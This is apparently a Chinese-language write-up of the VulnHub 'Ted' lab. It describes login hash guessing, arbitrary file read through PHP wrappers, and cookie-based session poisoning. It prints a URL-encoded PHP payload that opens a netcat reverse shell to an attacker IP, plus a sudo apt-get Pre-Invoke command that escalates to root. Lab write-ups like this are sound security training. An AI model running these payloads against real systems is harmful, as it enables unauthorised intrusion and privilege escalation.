本文由 简悦 SimpRead 转码， 原文地址 mp.weixin.qq.com
靶场地址：https://download.vulnhub.com/ted/Ted.7z
靶场设置 使用 VM 打开
扫描靶场网段，得到 ip 地址
访问网址是个登陆框
扫描目录无果后，开始对登录框进行探索。
随便输入个密码后，发现密码或者密码 hash 错误，尝试多样的密码对比图如下
看来密码是 admin 没错了，然后应该是 hash 加密后访问。
这里耗尽了大量的时间，得出来了结果（还是朋友做出来的，难受）
这里使用的是 sha256 加密，然后加密的字符串，字符转换大写
在在线网站进行大小写转换
一发入魂
获得下一步提示
在 search 存在任意文件读取
阅览 cookie.php 发现回显了文件
这里有一个authenticate.php
正常读取会出现退出登陆的情况，使用 php 伪协议读取到了文件
源码如下
同样的方式读取 home
Home 文件中有这么一句话
$_SESSION['user_pref'] = $_COOKIE['user_pref'];
任意文件读取到 sessions 目录
第一种
写入一句话木马
链接蚁剑
但是上传不了脚本
一时间不知道咋弄了
第二种
%3C?php%20exec('nc%20192.168.17.128
%202222%20-e%20/bin/bash')%20?%3E
反弹 nc
回到 sessions 哪里，因为有 nc
对 shell 进行升级
SHELL=/bin/bash script -q /dev/null
然后卡壳，最终解决如下
记录如下
输入
sudo apt-get update -o APT::Update::Pre-Invoke::="/bin/bash -i"
提权